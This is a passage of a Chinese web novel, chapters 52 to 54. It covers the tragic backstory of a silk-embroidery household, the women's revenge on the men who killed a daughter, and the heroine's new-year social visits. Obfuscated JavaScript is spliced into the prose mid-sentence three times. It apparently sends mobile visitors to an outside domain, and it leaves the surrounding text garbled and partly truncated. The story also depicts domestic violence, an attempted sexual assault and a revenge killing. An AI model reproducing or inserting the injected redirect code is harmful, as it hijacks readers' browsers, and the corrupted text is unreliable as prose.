若园内的生活是幸福的,大夫人觉得留女儿在身边一辈子也是好的。但每当看着女儿因为父兄的逼迫,无可奈何地埋首于绣棚,无法随心所欲地做自己想做的,绣自己想绣的,她就觉得心脏传来针扎般的痛楚。 想明白丈夫的意思后,她便去和莆姨娘商量,两人一合计,纷纷私下找人相看,过了大半年,在泠音十九时,为其定下了大夫人娘家那边一个有为的后生。 在那家人来丰丹园下聘当晚,江老爷去到大夫人的房中厉声质问,大夫人满腹怨屈,直接指着人鼻子将其骂的狗血淋头。江老爷大怒,直接给了人几个巴掌拂袖而去。第二日泠音看见母亲脸上的红印,操起剪子就要去找她爹,被大夫人和莆姨娘死命揽住,大夫人拢住女儿的双手,认真道 “你爹这样的人自有天罚,泠儿何必又去找他闹一场,惹得自己一身腥。幸好这婚事定下来了,你且好好备嫁……说来这也是你在家最后一段时间了,听娘的话,忍一忍,出去就好了。” 泠音看着母亲爱怜的眼神,半响,终是点了点头。是啊,忍一忍就好了,反正都忍了十几年了,不也这么过来了吗? 之后的一阵,小楼里的人都喜气洋洋的,大夫人和莆姨娘搭了一个大大的绣棚,两人将板凳挨到一起,身边堆满各色丝线,针线上下翻飞,在艳红的绸缎上绣着泠音的嫁衣。 那是件艳到极致的衣裳,殷红的底色,牡丹、莲花、石榴团在一处,以金银线铺底,彩线钉牢,似浮雕般立在上头。正中的龙凤纹样,龙身以金线堆绣,凤羽用的是翠鸟毛绞成的细线,再一颗颗缝上珍珠、红蓝宝石点缀。 泠音试穿嫁衣那晚,满室灼灼的烛光都比不过她抬头那一瞬的明艳绝代,大夫人看着女儿如火红芙蕖般艳冶的面庞,靠着莆姨娘的肩头泪流不止。 泠音回房后,与郁清一起将嫁衣小心挂好。正准备卸掉钗环之时,门外突然传来声音,原来是江老爷唤人叫女儿去他房中商量她出嫁的事宜。 泠音奇怪,这事和她说干嘛,不应该和母亲讲吗?但想到自上次江老爷打了大夫人后,两人就再没讲过话,便也没再多问。 想着既要出嫁了,虽然素日对自己的父亲多有怨怒,但想起母亲的话,泠音还是恭恭敬敬的行了礼,侧立一旁等父亲发话。 江老爷看着女儿温驯的模样,心里舒畅,底气更盛,直接道:“之前为父因为舍不得你,才不许你嫁人。你母亲私下为你寻的那门亲事我并不看好,前几日已遣人将其退了,另又为你定了一门,就是咱们城里的大户孙家,接下来的日子你就安心在家待嫁就是。” 泠音肩头一颤,整个人如遭雷劈,略一思量回过神来,猛地抬起头冷笑道:“让我嫁去孙家?我说前些日子你儿子闯下那么大的祸怎么转眼就没了声音,原来是等着让我去填啊,看不出来你还是个慈父呢!” “你…你住嘴!”江老爷“啪”得一声摔碎了一个茶杯,双目发赤,指着泠音大骂道:“谁让你这么说话的?眼里还有没有我这个父亲,我看都是被你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721758|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那娘教坏的!” “关我娘什么事!你算个什么父亲…啊不,你算个什么东西!”泠音甩着袖子一步上前,绣鞋狠狠碾过满地碎瓷,抬手将两人隔着的那方红木桌掀翻在地,踩着满地狼藉逼近,痛恨道 “拿亲生女儿做买卖…好个慈父!好个家主!你可别忘了你们成天花天酒地的钱从哪来的,这座园子能保到现在靠的是谁——” 沉重的砚台挟着风声袭来,少女愤怒的质问声戛然而止,泠音踉跄着栽向翻倒的案几,太阳穴重重地磕在桌角,最后映入眼帘的,是江老爷慌张后退的皂靴。 泠音的闺房之中挤满了人,前后来了好几位大夫,看了之后均是沉默摇头。大夫人直接昏死过去,莆姨娘让人把她扶回了房,遣退闲杂人等,吩咐身边的丫鬟再去请大夫,这个不行就换一个,把全城的大夫通透请过来,她不信没有办法! 退婚换人之事大家已经知晓,莆姨娘按捺住心里的怒气与不安,与几个婆子一起按住想要找江老爷三人拼命的三个孩儿,苦口婆心地劝说半天,随后自己又去了大夫人房中商量对策。 然而,还未等泠音睁眼,两位夫人也还未商量出对策,园内又发生了一件事。 原来江老爷那两个儿子怨恨泠音坏了他们的事,又早早就垂涎自己妹妹的美貌,左右觉得她如今将死,便派人引走了她房里的下人,半夜潜入其中欲对泠音行不轨之事。 郁清被人设计调走,在去大夫人院子的路上突然察觉不对,立马转身往回,正巧看见那两个畜生伏在小姐身上,当时就红了眼睛操起剪刀给两个畜生各来了几剪子。 两人仓皇逃跑时绊倒了披着嫁衣的木架,殷红的绸缎滚落在地沾了血迹,郁清握着剪刀不敢放下,满手鲜血也不敢触碰泠音,似一滩浊水般凝在一地狼藉之上,绝望地长大嘴巴,悲痛地发不出声音。 泠音撑了半月余,中途醒过一次,少女枯瘦的手指抓住床帐上垂落的流苏,喉咙里发出破风箱般的嗬嗬声,她好恨!她不甘!她无法瞑目! 大夫人哭跪在女儿床头,泠音抬手想要替母亲擦掉眼泪,却无力支撑。莆姨娘站在一旁拢住少女的手,呜咽着泣不成声。 荷花池旁的小楼挂满了惨白的灯笼,泠音的绣棚上,未完成的“岁朝图”只余一半的花团锦簇,一半的冷冷清清。 将女儿下葬后,两位夫人带着满园的女眷反抗过一次,却被早有准备的江老爷派人全绑了回去。江老爷身后站着两个缠着绷带的儿子,满脸阴险的威胁,若是她们再敢存有反意,先要将郁清绑了见官,然后又以二小姐三小姐的婚事做要挟,众人只得暂时做罢。 有很长的一段时间,丰丹园内一直游荡着一些带着刀棍的家丁,连茅房外都杵着持棍的壮汉,江老爷并其两个儿子身边也一直有人守着,如此持续了小一年,园内众人一直安静做工,大夫人整日闭门抄经,莆姨娘基本闭门不出,泠音身边的郁清去了大夫人身边,更是几乎没有露过面。 江老爷三人自觉几个连门都没怎么出过的女人,必然是掀不起多大风浪的,将保护的家丁撤掉了一半,就这样又过了半年,园里又恢复了原来的样子。 大夫人几人冷眼看着那群男的恶心样子,虽愤怒至极,但也知道若想如愿结果三人,必得悄悄蛰伏,伺机击杀,且机会只有一次。 小楼的灯熄得越来越晚,捏着绣花针的众人也越来越沉默,江老爷三人来楼里看过几次,见众人低头做活皆不言语,十分满意现在的状况。 直到六年后,不知演练过多少次的众人,趁江老爷寿宴,在园内布下天罗地网,怀着巨大的恨意将三人迷晕后虐杀,后又借助梭罗女的传说,将他们身上的筋全部抽出,趁夜抛尸在荒地。 52. 丰丹园(完) 泪水打湿前襟,模糊视线中,小楼摇晃的烛火似乎要将坐在对面几人的白衣点燃,明夷揪着衣襟大口喘气,只觉得内心悲痛得无法呼吸。 原来背后的故事竟是这样,她不敢想,那位泠音姑娘到底是怀抱着怎样的怨恨与不舍离世,府里的女眷们又是如何熬过这漫长的六年,又是如何整日面对着恨不得啖肉饮血的敌人,供奉吃喝,不动声色地筹谋报复。 她又想起闻夫人那日说的“罗敷冢”,秦氏有好女,自名为罗敷,罗敷喜蚕桑,兀自干着自己的活计,欢喜妆点自己的衣着。然而耕锄农夫会因为自己被其美貌勾神耽误农活而相互埋怨,家有妻室的太守会因其姝色艳人而询能否共乘。匹夫无罪,然怀璧其罪,“罗敷”若无力自保,只能依附,出色的容颜只会引来无止境的事端。 瑰宝般的丰丹绣诞生于女子间的情笑晏晏,送来了举世无双的美丽芳华,也带来了吞噬命运的灾祸重重,它因畜生的罪孽染上血迹,又在仇恨的火焰中淬炼重生,终成为天下难出其一的和隋之珍。 明夷努力调匀自己呼吸,抬头看向大夫人,轻轻道:“我能去看看她吗?” 大夫人一愣,旋即又点头道:“随我来。” 楼外的月亮已跃至高高翘起的屋檐之上,许是锐利的檐角真的戳破了厚厚的云翳,月光如涌,如雾般将天地笼在其间,手上摇曳的宫灯愈发朦胧,连带着那些个白色的身影似乎都随着月光隐绰明灭。 小楼背后是一座佛堂,大夫人把泠音的牌位立在这里,日日夜夜都燃着数十盏长明灯,照得佛堂一片辉黄。 她的前路是光明的,明夷心想。 少女跪在冰凉的蒲团上深深地拜了几拜,又上了三炷香,久久伫立在牌位前,盯着香烛一点点落下的灰粒。 余光瞟见站在一旁的大夫人,她望着牌位的眼神里仿佛充斥着世间最令人心碎的事物,是了,无所谓来世究竟如何,即使如今大仇得报,只是一个母亲破碎的心却再没有愈合的可能了。 出来之后,冬夜寒风刺骨,月光冷冰冰的钻入后颈,明夷不自觉缩了缩脖子,伸手拢紧自己的外衣,两步并一步,追上正并排走在一处的大夫人与莆姨娘,诚恳道:“二位夫人现在…有什么我能帮你们的吗?” 两位夫人对视一眼,眼里似有光芒闪过,莆姨娘朝明夷温声道:“谢谢明姑娘,不过不必了。” 莆姨娘鬓角的白色绢花在身后灯笼的映照下似乎染上了菡萏艳色,她看着枯荷伶仃的池塘,嘴角挂着奇异的微笑,缓缓道:“事情快结束了。” 果然如莆姨娘所说,离除夕还有七天之时,丰丹园外的官兵突然撤了个干净,这桩“梭罗娘”案也迅速结案,凶手是谁上头并没出示,只含糊人已伏法。 百姓并不在意官方模糊的态度,只知道他们又可以回到正常的生活。大街小巷又重新热闹起来,卖货郎挑着担子在人潮中穿梭,耍猴人铜锣一响便围起里外三圈看客,糖炒栗子的焦香混着冰糖葫芦的酸甜,路边的食铺爆开油锅的滋啦声,绸缎庄的门槛几乎被踏平,绣娘们飞针走线,大家都赶着在年前制好春节的新衣…… 江家父子三人害死亲女,靠压榨妻女敛财的故事不知从哪走漏了风声,以极快的速度迅速扩散,成为人们年节期间的谈资。从梭罗娘时期的避之不及,到现在随处可闻,大家或严肃谴责,或哀叹惋惜,或警示小辈,甚至谁心情不好了,就将几人拿出来骂一通,啐几口,大家的情绪有了发泄口,这一个新年可谓是当地最和平的一个年。 丰丹园的女眷们获得了巨大的同情,丰丹绣除了本身的美丽之外,又被赋予了涅槃的意寓。许多女子自发去螺祖庙内为泠音祈福,无数的信笺与祈福符纸被寄往丰丹园,有抚慰之言,赞颂之语,祝愿之声,也有沾着泪痕的自述伤心…… 大夫人听取了明夷的建议,在丰丹园外和几处人流较多的街道张贴红纸,表示,世间女子,无论身份年龄,无论籍贯国别,若有倾诉之语,难言之隐,或困难之境,亦或是有任何自认有意,愿意分享的东西,均可写下寄给丰丹园。如果来信之人愿意,可署名,可匿名,丰丹园将会定期将所汇聚的信件分类整理,交由书坊付梓。 此套丛书取名为“丰丹”,初定一年一册,起先所有编撰和付梓的任务都由丰丹园独自完成,待到后面,城内愈来愈多的妇女自荐帮忙,或集聚丰丹园,或自领任务回家,而付梓的经费更是得到了各地捐赠,有大额银票、规整白银,也有零碎银锭、铜板几枚。 每册书的最后都会完整标注参与人员的姓名,费用明细也写得清清楚楚,而卖书赚来的钱,则又被捐给了各地的保育堂等妇孺福利机构,或者写信求助的困难之人。 庭院深深,闺门重重,盼有音能入,也盼有声能出,望持卷之人或能得到些许慰藉与帮助,也盼女子之言能有更多作者与读者。岁月虽失语,史书亦少言,因而要更努力些,留下燃烧的痕迹。 除夕夜晚,明夷跟着赵家一起吃完丰盛的团圆饭后,几人又回到鹿韭院开始第二场。 闻夫人解了外衣毫无形象地往罗汉床上一躺,招手遣人去温几壶雪酒端上来,明夷非常自觉地爬到另一头坐下,伏在小几上,积极的朝刚走到门口的丫鬟喊道:“再拿几碟下酒的果子过来!” 闻夫人笑骂:“方才在桌上还没把你这肚子填满吗?” 明夷摇摇头:“非也非也,先不说喝酒没菜如何喝,就是我们大人不吃,孩子们也要尝啊,不然干坐在那看我俩喝?” 自丰丹园那晚过后,郁章章对更加明夷亲近,见此点头如捣蒜,连忙附和道:“是的是的先生说得没错,我和几个姑娘可馋那为甚酥了!” 旁边的赵芝也乘机举手道:“我们也可以喝酒吗?” “不行!“闻夫人和明夷异口同声否决提议。 赵芝缩了缩脖子,左右看看身边姐妹,无奈摊手,小声道:“我争取过了啊。” 明夷看着几个女孩眼巴巴的样子实在可怜,心软道:“让人给你们煮几碗醪糟,我昨天才做了两碗糯米小丸子,刚好给你们配着吃。” 女孩们欢呼着上前抱住明夷,闻夫人脑袋一歪,在旁边拈酸道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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明夷瘪了瘪嘴,“我是真心好奇,有些事情知道的人越多越危险好吧。” 闻夫人肩膀一垮,严重怀疑是不是这酒里下了降智药,怎的好好的灵巧人儿突然就傻了? 看着明夷认真求知的表情,最终还是叹了口气缓缓道:“没有很多人,也就几个罢了,你也别担心了,大家只是胡乱猜测,总之,都是为了齐心协力过个年——” 明夷长长的“哦”了一声,笑嘻嘻道:“我懂我懂,都是胡乱猜测,主要为了过年。”边说着又直起身,两手叉腰,义正言辞道:“任何妖魔鬼怪都不能阻挡尔等过好年!” 女孩们停下了讨论声,齐齐扭头看了过来。 闻夫人无奈的看着明夷的戏谑模样,扶着脑袋作头疼状,道:“小姑奶奶,懂了就闭嘴吧,跟你讲话真费劲!” 明夷西子捧心做伤心状:“我也只是胡,说,八,道而已。” 闻夫人见明夷一副做作样子,笑得差点喷酒,捂着帕子咳了好几声,将小几向后推,起身作势要去掐明夷的手肘子。 明夷连忙后退躲避,两手抓着雕着西番莲纹的围板,忽然转头正色道:“谢谢你们。” 闻夫人噗嗤一笑,目光扫过下首正吵嚷着分果子的女孩们,温柔道:“都是应该的。” 53. 方府 方家几人回了祖宅过年,见明夷独自一人待在歙县,特意邀请她初一当天来方府用膳。 说起来自方老爷进京做官,明夷已经有三四年没见过方家夫妇了,要知道这古代女子嫁人,嫁的不单是丈夫一人,那可是一大家子啊,事情一大堆,其中又有侍奉公婆。 明夷私以为,处理与公婆关系比处理和丈夫的关系麻烦多了,古代孝字当天,辈分压死人,稍有不慎就是千夫所指。尤其是侍奉婆婆,现代婆媳关系一直都是杂志小说还有晚八点档狗血电视剧与各种调解类节目生生不息的话题制造机,更别说古代了。 明夷想起自己看的那堆杂七杂八的小说,每日晨昏定省,侍奉饮食,还要站规矩,言行也要顺从……虽然柳夫人看着很和蔼一人,每次见到她也很欢喜,但是做朋友家的女儿和做自己儿媳妇有着本质区别好吧! 哦对了,她还会有一个小姑子,虽然吧方小妹也很是粘人可爱,但真成了一家人天天待一块,尤其她还要管家! 有话说的好,管家三年,猫狗都嫌,又要会管账又要会收买人心,每天对着一帮子人和事,长八百个心眼子也不够用…… 无论横想竖想,东想西想,这古代女人嫁人简直就是进入副本打怪升级,一路必须生了儿子熬成婆婆才能取得阶段性胜利,为什么说是阶段性?毕竟谁晓得你的子女孝不孝顺,谁晓得你的家族会不会又出什么幺蛾子……好一个超现实惊悚无限流,比那些个电锯人绣花鞋吓人多了,要她说,这才是人民群众喜闻乐见的恐怖片。 想到这,明夷锤着枕头长叹一声,这该死的古代!!! 方家夫妇也算是她未来板上钉钉的公婆,这也是她第一次独自与他们吃饭,不得不重视起来。初一清晨,明夷早早就没了瞌睡,站在等身铜镜前,抚了抚身上的月白色竖领对襟袄,朝着麦冬苦恼道 “会不会太素了些?虽然我还在孝期,但大过年的穿一身白去别人家好像也不太礼貌…而且还是方叔叔家,要是爹爹知道了,肯定又要嘲笑我了……” 明夷忽然想起以前父亲吊儿郎当和她开玩笑的模样,少女低低笑骂,真是老不正经…可眼泪又忽地滚了下来,在衣襟出洇出一道水痕。 麦冬叹了口气,拿着帕子小心翼翼的帮明夷擦着眼泪,安慰道:“只要小姐好好的,无论您穿什么老爷都会开心的。之前老爷身边的小厮悄悄告诉我,每每老爷出去吃饭,一定是要把小姐拿出来炫耀一圈先,什么漂亮可爱,聪明灵巧,不但自己夸了,还要逼着旁人一起认同他才罢休呢!” 明夷哭丧着脸憋出一个笑来,冒着鼻涕泡泡嫌弃道:“爹爹怕是要被他那些朋友烦死了。” 说完有忽地揽住麦冬准备帮她擤鼻涕的手,自个儿抓着帕子擦干净后,又一把抱住麦冬,认真道:“谢谢你麦冬,这么多年了,我真的很庆幸有你在身边,我真的很喜欢你……” 少女的声音嗡嗡的,还带着浓浓的鼻音,麦冬像小时候一样轻轻拍着明夷的背,温柔道:“能待在小姐身边,已经是我这辈子最大的幸运了。” 明夷鼻头一酸,眼泪又掉了下来,麦冬感觉脖颈一阵冰凉,无奈道:“我的小姐啊,怎么又哭了呢?” 明夷不语,只一味的流泪,麦冬垫脚摸了摸少女的脑袋,心里暗暗感慨,当初那么小一个孩子怎么一下子就长那么高了。 最后的结果是,刚上的妆全部卸干净重化,要不是明夷特地早起准备时间充裕,就凭这么一耽搁,迟到肯定是跑不了了。 方家的宅邸有些远,坐轿子需要近半刻钟,站在方家大门前,明夷低头理了理身上的藕荷色方领比甲,这是麦冬帮她找的,既不过分素雅,也不会失了规矩,淡淡的色调衬得少女眼神清澈,自有一股子温婉娴雅的气质。 “你看看我头上这昭君套歪了没有?”明夷两手虚虚拢在脑袋两边,有些忐忑地问道 麦冬踮起脚尖,仰着头帮明夷正了正貂皮圈,安抚道:“好啦好啦都整理好啦,小姐现在完美极了,保管方家老爷太太少爷小姐,无论谁见了,都会喜欢的不得了!” 明夷脸微微发红,鼓着两颊佯装发怒道:“你再这样打趣我,我就不理你了!” 麦冬打着哈哈连连点头,“喏,方家的人来接了,小姐赶紧带我进去吧。” 明夷一抬头,正好看见方韫之正笑着朝她走来,青年身着玉色交领夹棉道袍,头戴四方平定巾,身量高大修长,面庞轮廓分明却不凌厉,眉眼生的极为清隽。 明夷看着心里突然一喜,嘶,别的暂且不论,自己这艳福倒真的不浅。 少女刚往前迈了一步,突然不知想到了什么,不留痕迹的刹住脚,只站在原地笑盈盈地等着青年向她走来。 冬日散淡的斜阳为少女明丽的容色镀上一层淡淡的金边,清亮的杏眼一错不错的看着来人,方韫之耳根发热,在离明夷两步远的地方停住,微俯作揖,抬头目光灼灼,道:“新春嘉平,明夷。” 明夷敛祍还礼,笑道:“那我就只能道一句‘长乐未央’了。” 从正门到饭厅,不知是不是方家有意安排,一路上明夷并未见到旁人,方韫之像儿时写信那样,十分认真的和明夷聊着闲事趣闻,时不时将人逗得掩帕轻笑,正常只需半刻钟的路程,两人硬生生走足了一刻钟。 明夷控制着放慢步伐,保持着嘴角端庄微笑,她真的很想突然来一句,亲爱的朋友,你可否听过一句歇后语:司马昭之心——路人皆知? 您这话讲得那么流畅,笑点那么密集,整得跟脱口秀似的,想必是打了好几页草稿吧?还有你这腿迈的,明明一米八几的大高个,步子还没我家芙姐儿迈的开,啧啧啧…… 一路走到正厅,甫一进门,就看见坐在黄花梨雕灵芝纹太师椅上的方家夫妇,明夷徐徐上前行了个万福礼,笑吟吟道:“明夷请方伯父、伯母安,祝伯父伯母身体康健,万事胜意。” 柳夫人见明夷自进门始,无论是走路还是行礼,都如行云流水般大方漂亮,抬起头时,虽早已见过,但还是忍不住暗暗倒吸一口气,几年未见,少女现已完全张开了,容眸流盼,神姿婉丽,实乃真美人也。 柳夫人看得心里一阵欢喜,忙走上前拉着明夷在一 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正厅一侧的暖阁内,紫檀螭纹圆桌上已摆满了菜肴,螺钿黑漆方盒内盛着糟鹅掌、煨鹿筋和风腌果子狸,浇了红曲汁的鲫鱼片堆成牡丹形状,肚里塞满鹌鹑松茸的乳鸽红皮油亮,还有那蟹酿橙,沁人的清香闻的人浑身舒坦。现在本不是吃蟹的时节,方府却能弄来这样一道菜,更别说这一大桌子几乎都是她爱吃的…… 想到这,明夷偷偷瞄了眼方韫之,正巧对上后者偷看的眼神,少女眼睛弯成月牙展露自己的欢喜,青年嘴角笑容更甚,偷偷做嘴型表示他也很开心。 方老爷率先入座,随后柳夫人又拉着明夷坐下,方韫之坐在父亲右边,与明夷正对着,方宁之欢快地坐到明夷旁边,两手抱着明夷胳膊歪在她肩头蹭了几下,撒娇道:“明夷姐姐我总算有机会和你说话了,我好想你啊。” 明夷笑着摸了摸女孩的脑袋,柔柔道:“好久不见宁儿了,都成大美人了呀。” 方宁之嘿嘿一笑,将明夷胳膊抱的更紧,几乎半个人都栽倒在她身上,拖着调子道:“我本来想去门口接姐姐的,可是某人死活不让,走路也慢的要命,我在屋子里盼星星盼月亮盼了半天才把你等盼来!” 言罢还朝自己哥哥丢过去一个挑衅的眼神,哼,谁叫你不让我去,那么心机的走那么慢,是不是绕路了!笑笑笑,笑得跟不要钱似的,平常也没见你这么对亲妹妹笑,只是我现在能抱着人,你就只能干看着啰…… 方韫之和妹妹从小一块长大,属于是一个眼神就晓得这小妮子又在打什么坏主意,此刻看着妹妹得意洋洋的样子,青年神情淡淡,只一味的和气微笑。方宁之瞬间变色,完蛋了,得意忘形了,到时候功课肯定又要翻番了啊啊啊啊。 明夷有些好笑地看着兄妹俩的互动,旁边柳夫人不停的给她夹菜,直把她面前的青花缠枝碗堆得冒尖。方老爷倒像有些不善言辞的样子,只时不时对着明夷突然冒出一句“吃好、吃好”。方宁之隔一会儿就要找明夷说上两句,倒也着实缓解了明夷独自做客的尴尬。 方韫之不好直接对明夷言语,只时不时用眼神示意什么菜好吃或板起脸来训斥自家小妹别总缠着人讲话,明夷低头搅着琉璃盏里的水晶燕窝羹,突然觉得,如果是这样一家人的话,她好像也没那么害怕了。 54. 走人户 初三一过,城内大户便开始互相约着串起了门子。明夷看着闻夫人案上的拜匣,掐着指头算了算,惊讶道:“你这一直到元宵前都排满了啊!” 闻夫人脸上露出痛苦的笑容,扶着额头有气无力道:“年年都是这样,走不了三家我就不行了,后面全靠意志力撑着的…” 明夷面露同情:“真惨呐,我之前在家时,凡事都有我祖母和大伯母,再不行还有我三叔母,总之和我们家是没太大关系的,他们不乐意我们管,我们也乐得个清闲。不过” 明夷顿了顿,有些疑惑道:“你平日里不是最喜欢搞这些东西了吗?平常办各种宴会,我看着都觉得折腾,你却是一副精力满满、乐此不疲的样子,现在怎么……” 明夷话还没说完,就被闻夫人直截了当的打断道:“这能一样吗!你说说这能一样吗!” 闻夫人一脸哀怨地看向明夷,有些激动道:“我平常那些宴会,来的人要不是我喜欢的,要不就是有趣的,现在这可不一样,否管你喜不喜欢,乐不乐意,一个个上来面上亲昵极了,说起话来处处打机锋,弯弯绕绕的烦死个人!一顿饭下来,我脑袋都快不转了。” 各地区的高门大户,互相基本都是熟识的,甚至一大半都是亲戚,剩下的也是什么同窗同事义兄弟。对此,无产阶级战士明夷,额…李祺评价道 所谓精英群体,其普遍存在着阶层内聚现象,非常擅长通过非正式的关系网络构建其社会资本,而这种行为既有助于巩固地位优势,同时也在客观上排斥外部竞争者。 总之,说人话就是,有钱人抱团将地盘围死啦,闲杂人等连门都没有! 想到这,明夷又想惋惜一下于连同志,可怜的孩子,你的悲剧早已注定了啊。 闻夫人见明夷眼神游移,拿起一张拜帖直接敲过去,道:“想啥呢想那么出神?莫不是你的方公子?” 明夷捂住脑袋大喊:“我在思考时代潮流与个人命运的关系!请不要拿那些情情爱爱侮辱我!” 闻夫人有些莫名其妙,“胡说八道些什么呢,诶诶诶,和你说个事” 明夷点头,“你说。” “明天和我一去出去做客。” “?!” 明夷大惊,明夷抗拒,“我不去!又有我什么事?” 闻夫人道:“你可知我明日去的是谁家?” 明夷脑袋摇成拨浪鼓,道:“无论谁家我也不去!” 闻夫人笑骂:“好嘛!让你帮我抄拜帖,敢情你一点也没看,全抄狗肚子去了是吧!“ 明夷争辩:“这种事情动动手就好了,干嘛还要动脑子,大过年的我脑袋也要放假不是!” 闻夫人差点被少女一套乱七八糟的诡辩带偏,连忙拉回道:“明日去吴家,除我们外,方家和叶家的人也要来!” 明夷一顿,“欸,叶家?听得怎么那么耳熟?” 闻夫人一副恨铁不成钢的模样,急道:“就是你钱塘那位淑姨的夫家啊!” “哦哦哦”明夷恍然,“淑姨很少提到她丈夫,我都块忘了他本家就在歙县了。” 闻夫人为明夷的未来感到深深的担忧:“你这记性怎么得了啊,以后你要是嫁到方家,去到京城,那里的人际往来非把你绕晕了不可!” 明夷深以为然,虚心求教道:“那您看我还有救吗?” 闻夫人直接道:“没救了,洗洗睡吧,指望你还不如指望方家那小子出面把一应应酬全给你推了得了。” 明夷点点头,“好方法!赶明儿见到了我就和他讨论一下!” 闻夫人大怒,操起架子上的鸡毛掸子做势要打,明夷泥鳅似的溜到书案后面蹲着,大喊道:“夫人息怒,小的浑说的!。” 闻夫人看着少女露出半颗的毛茸茸脑袋,没辙似的摊了摊手,道:“和你说正经的,明天同我一起去啊。” 明夷一屁股坐在地毯上,将下巴搁在书案边沿,嗡嗡道:“不去,我和叶家又不熟。” 闻夫人顿时火气噌地往上冒,大步走到书案边,抓着明夷的后领将人提溜起来,怒道:“敢情你前面一点也没听到?除了叶家,还有吴家和方家!你的小弟弟和你的未婚夫!” 见把人惹毛了,明夷面上挂起谄媚的笑容,俯着身子十分狗腿地帮闻夫人捏着肩,讨好道:“莫气莫气,我去我去,您让我去哪我就去哪成吗?” 闻夫人挑了挑眉,饶有兴致道:“那说好了,后头那一串你都跟着我。” 明夷闻言往后一跳,尔康手道:“不成不成,就一天!” 正月初四迎灶神,这天早上明夷不用人叫,麻溜起来,老早就在闻夫人小院那等着一起去接财神,待把一应贡品摆好,该拜的拜了,该上的香也上齐了,明夷又麻溜滚回去收拾自己。 午时三刻,赵家的两辆青缯马车停在吴府门口,依次下来闻夫人和明夷,还有三个姑娘。吴府的下人早就在门口候着了,见人一来,连忙迎上去。 吴府不止在歙县,乃至整个徽州都是数得上名号的大族。举家上下俱是读书做官之人,到吴中孚父亲那辈,大房共有兄弟二人,吴中孚的大伯已入内阁,而其父亲目前则在京城的中军都督府做掌判官。 祖宅本由长房继承,奈何兄弟二人皆在京城,但交由家族旁人又不放心,而这时,吴中孚的母亲主动请缨,表示愿意留守家乡打理住宅。 这对夫妻本身关系单薄,吴爹并不在意夫人子女是否留在身边,而吴妈也不想和丈夫待在京城,应付那一堆麻烦事,大伯夫妇俩则乐得有人看家,于是多方达成共识,愉快了事。 吴中孚上有两兄一姊,均已成家,如今都生活在外地,一年到头也回不了几次家。于此,吴妈,也就是商夫人,更是乐得自在,每日只需把日常任务吩咐下去,自己又是个不喜欢热闹的,房门一关,大把自己的悠闲时光。 如今小儿子回来了,商夫人也只是淡淡的,除了回来头几天问候了一下,之后孩子满十五岁束发又给人办了几桌,母子俩再没讲过几句话。 明夷想起昨晚闻夫人的评价,说与吴府往来是最轻松的,虽是簪缨世族,但规矩并不重。当然,也有可能是因为一年到头就见那么一两次,明夷默默补充道。 商夫人人冷、话少,与她打交道从来都是言简意赅,同意就同意,不行就不行,不打太极也不搞两面三刀那一套,要不是她不喜交际,闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15741766|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人还挺想与她做朋友的。 “商夫人也是个难得的美人啊。”闻夫人感慨。 明夷哼哼,这才是主要原因吧。 吴家也不愧是大家,底蕴深厚,虽上回来过一次,但人多眼杂,匆匆一瞥也没认真欣赏。现在与芸芝芙三个丫头一齐跟在闻夫人后面,有其在前冲锋陷阵,明夷也乐得四处张望张望。 穿着水红色葫芦双喜纹褙子的丫鬟在前引路,转过嵌着的五蝠献寿砖雕的影壁,接着是一条长长的抄手游廊。 游廊两侧的朱漆栏杆泛着水磨般的光泽,檐下悬着数盏走马灯,绘着的是十二月花神,因现是白天所以没有点上,也不知道晚上亮起来滚动时,又会是怎样一幅绮丽的光景。 游廊尽头连着月洞门,太湖石堆叠的假山后探出几枝绿萼梅,明夷驻足时,听得山石深处有泠泠水声,丫鬟笑道:“这是引了活泉的,夏日里可听雨打芭蕉。” 说着掀开湘妃竹帘,露出了园子的全貌。弯曲小径间嵌着拼成八宝纹的白鹅卵石,曲池上架着汉白玉拱桥,几颗古松歪斜在一侧,绿萼梅伫立枝头,昂着脑袋开成一片白绿浅浅,沿着廊下摇晃的灯笼穗子送来一阵清幽香气。 正厅的门槛用的是整块紫檀木,门边花几上立着一尊雨过天青釉的梅瓶,循着嶙峋花枝抬眼望去,就看见穿着一身天青釉色梅花纹样对襟披风的商夫人,正端坐在上首的紫檀木雕云蝠纹太师椅上品茶。 闻夫人一进门就爽朗道:“真是好久没见商姐姐了,您这气质是越发超脱了!”说着又往旁边看了眼,惊讶道:“柳姐姐这是还没到吗?莫不是拜财神误了时辰,等会可要多罚她几杯!” 商夫人起身迎接,脸上挂着淡淡的笑容,将人引到旁边坐下,才缓缓道:“柳妹妹今早去信给我说身子不适,今天就不来了。” 闻夫人大惊:“这冬日里最易生病,一不小心着了凉能连着烧几天,我赶明儿去看看柳姐姐,商姐姐有什么要我捎带的拿我就是。” 商夫人含笑点头:“那就麻烦你了。” 明夷和三个姑娘分坐两侧,正默默低头喝着盖碗茶,自有一股子大人应酬小孩吃席的悠闲样。奈何天不遂人愿,商夫人与闻夫人聊着聊着,突然开口道:“这位是明夷姑娘吧。” 